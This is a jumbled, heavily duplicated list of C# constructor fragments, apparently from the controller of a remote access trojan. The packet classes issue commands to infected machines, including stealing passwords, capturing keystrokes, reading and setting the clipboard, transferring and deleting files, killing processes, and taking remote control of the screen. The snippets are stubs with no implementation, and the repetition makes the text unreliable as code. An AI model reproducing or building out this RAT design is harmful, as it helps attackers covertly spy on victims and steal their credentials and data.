public S_FileTransferSend(RatClients client, FileTransfer info, byte[] bytes, int Index) : base(client) { this.info = info; this.bytes = bytes; this.Index = Index; }
public ReceiveBasePacket(RatClients client, byte[] packet) { _Client = client; _Packet = packet; _Offset = 1; Read(); }
public S_ProcessModThread(RatClients client, int PID, int ID, byte type) : base(client) { this.PID = PID; this.ID = ID; this.type = type; }
public S_KillProcess(RatClients client, int PID, byte Force, byte DeleteFile) : base(client) { this.PID = PID; this.Force = Force; this.DeleteFile = DeleteFile; }
public S_KillProcess(RatClients client, int PID, byte Force, byte DeleteFile) : base(client) { this.PID = PID; this.Force = Force; this.DeleteFile = DeleteFile; }
public S_FileTransferSend(RatClients client, FileTransfer info, byte[] bytes, int Index) : base(client) { this.info = info; this.bytes = bytes; this.Index = Index; }
public S_ProcessModThread(RatClients client, int PID, int ID, byte type) : base(client) { this.PID = PID; this.ID = ID; this.type = type; }
public ReceiveBasePacket(RatClients client, byte[] packet) { _Client = client; _Packet = packet; _Offset = 1; Read(); }
public S_MessageBox(RatClients client, string message, string title, MessageBoxButtons buttons, MessageBoxIcon icon) : base(client) { _message = message; _title = title; switch (buttons) { case MessageBoxButtons.AbortRetryIgnore: _button = 0; break; case MessageBoxButtons.OK: _button = 1; break; case MessageBoxButtons.OKCancel: _button = 2; break; case MessageBoxButtons.RetryCancel: _button = 3; break; case MessageBoxButtons.YesNo: _button = 4; break; case MessageBoxButtons.YesNoCancel: _button = 5; break; } if (icon == MessageBoxIcon.Asterisk) _icon = 0; if (icon == MessageBoxIcon.Error) _icon = 1; if (icon == MessageBoxIcon.Exclamation) _icon = 2; if (icon == MessageBoxIcon.Hand) _icon = 3; if (icon == MessageBoxIcon.Information) _icon = 4; if (icon == MessageBoxIcon.None) _icon = 5; if (icon == MessageBoxIcon.Question) _icon = 6; if (icon == MessageBoxIcon.Stop) _icon = 7; if (icon == MessageBoxIcon.Warning) _icon = 8; }
public void ProcessClient(Socket client) { //System.Threading.Thread.Sleep(50); //Small delay so the process will be using 0-1% cpu usage at flood attack if (MaxConnections.AcceptConnection(client.RemoteEndPoint)) { int ID = _clientList.Count; RatClients c = new RatClients(client, NetworkKey); _clientList.Add(ID, c); c.DisconnectHandle = OnDisconnect; c.ClientID = ID; settings.ClientsConnected++; Logger.AddLog(new LogInfo("Incoming client", "Accepted")); } else { client.Disconnect(false); client = null; } }
public void ProcessClient(Socket client) { //System.Threading.Thread.Sleep(50); //Small delay so the process will be using 0-1% cpu usage at flood attack if (MaxConnections.AcceptConnection(client.RemoteEndPoint)) { int ID = _clientList.Count; RatClients c = new RatClients(client, NetworkKey); _clientList.Add(ID, c); c.DisconnectHandle = OnDisconnect; c.ClientID = ID; settings.ClientsConnected++; Logger.AddLog(new LogInfo("Incoming client", "Accepted")); } else { client.Disconnect(false); client = null; } }
public S_GetProcessThreads(RatClients client, int PID) : base(client) { this.PID = PID; }
public R_GetProcesses(RatClients client, byte[] packet) : base(client, packet) { }
public S_ResumeProcess(RatClients client, int PID) : base(client) { this.PID = PID; }
public S_FileMgrGetDrives(RatClients client) : base(client) { }
public S_CursorPosition(RatClients client, int x, int y) : base(client) { this.x = x; this.y = y; }
public R_GetProcessThreads(RatClients client, byte[] packet) : base(client, packet) { }
public S_FileMgrGetFiles(RatClients client, string DirLocation) : base(client) { this.DirLocation = DirLocation; }
public SendBasePacket(RatClients client) { vStream = new MemoryStream(); vClient = client; }
public SendBasePacket(RatClients client) { vStream = new MemoryStream(); vClient = client; }
public R_GetClipboard(RatClients client, byte[] packet) : base(client, packet) { }
public S_GetProcessThreads(RatClients client, int PID) : base(client) { this.PID = PID; }
public S_GetProcesses(RatClients client) : base(client) { }
public S_CopyFile(RatClients client, string FileLocation, string NewFileLocation) : base(client) { this.FileLocation = FileLocation; this.NewFileLocation = NewFileLocation; }
public S_GetPasswords(RatClients client) : base(client) { }
public S_GetClipboard(RatClients client) : base(client) { }
public R_NewClient(RatClients client, byte[] packet) : base(client, packet) { }
public S_GetPasswords(RatClients client) : base(client) { }
//This method is called by any client when its disconnected, this is done through a delegate thats set. private void OnDisconnect(RatClients client) { _clientList.Remove(client.ClientID); }
public S_SetWallpaper(RatClients client, string FileLocation) : base(client) { this.FileLocation = FileLocation; }
public S_FileTransferSendComplete(RatClients client, FileTransfer info) : base(client) { this.info = info; }
public S_FileTransferSendBegin(RatClients client, FileTransfer info, SendType type) : base(client) { this.info = info; this.type = type; }
public S_SetClipboard(RatClients client, string data) : base(client) { this.data = data; }
public R_FileMgrGetFiles(RatClients client, byte[] packet) : base(client, packet) { }
public S_GetClipboard(RatClients client) : base(client) { }
public S_CopyFile(RatClients client, string FileLocation, string NewFileLocation) : base(client) { this.FileLocation = FileLocation; this.NewFileLocation = NewFileLocation; }
public S_FileTransferSendBegin(RatClients client, FileTransfer info, SendType type) : base(client) { this.info = info; this.type = type; }
public S_FileTransferSendComplete(RatClients client, FileTransfer info) : base(client) { this.info = info; }
public R_KeyStrokes(RatClients client, byte[] packet) : base(client, packet) { }
//This method is called by any client when its disconnected, this is done through a delegate thats set. private void OnDisconnect(RatClients client) { _clientList.Remove(client.ClientID); }
public S_SetWallpaper(RatClients client, string FileLocation) : base(client) { this.FileLocation = FileLocation; }
public R_FileTransferBegin(RatClients client, byte[] packet) : base(client, packet) { }
public S_GetProcessesDLLs(RatClients client, int PID) : base(client) { this.PID = PID; }
public S_DeleteFile(RatClients client, string FileLocation) : base(client) { this.FileLocation = FileLocation; }
public S_CursorPosition(RatClients client, int x, int y) : base(client) { this.x = x; this.y = y; }
public S_ProcessWindowText(RatClients client, int PID, string text) : base(client) { this.PID = PID; this.WindowText = text; }
public R_FileMgrDrives(RatClients client, byte[] packet) : base(client, packet) { }
public S_RemoteControlScreen(RatClients client, byte enable) : base(client) { this.enable = enable; }
public R_KeyStrokes(RatClients client, byte[] packet) : base(client, packet) { }
public R_FileTransferSend(RatClients client, byte[] packet) : base(client, packet) { }
public S_GetProcessesDLLs(RatClients client, int PID) : base(client) { this.PID = PID; }
public S_CreateFile(RatClients client, string FileLocation, string FileName) : base(client) { this.FileLocation = FileLocation; this.FileName = FileName; }
public R_RemoteIP(RatClients client, byte[] packet) : base(client, packet) { }
public R_GetClipboard(RatClients client, byte[] packet) : base(client, packet) { }
public S_SetClipboard(RatClients client, string data) : base(client) { this.data = data; }
public S_FileMgrGetDrives(RatClients client) : base(client) { }
public S_FileMgrGetFiles(RatClients client, string DirLocation) : base(client) { this.DirLocation = DirLocation; }
public S_GetKeyStrokes(RatClients client) : base(client) { }
public R_NewClient(RatClients client, byte[] packet) : base(client, packet) { }
public S_GetCpuInfo(RatClients client) : base(client) { }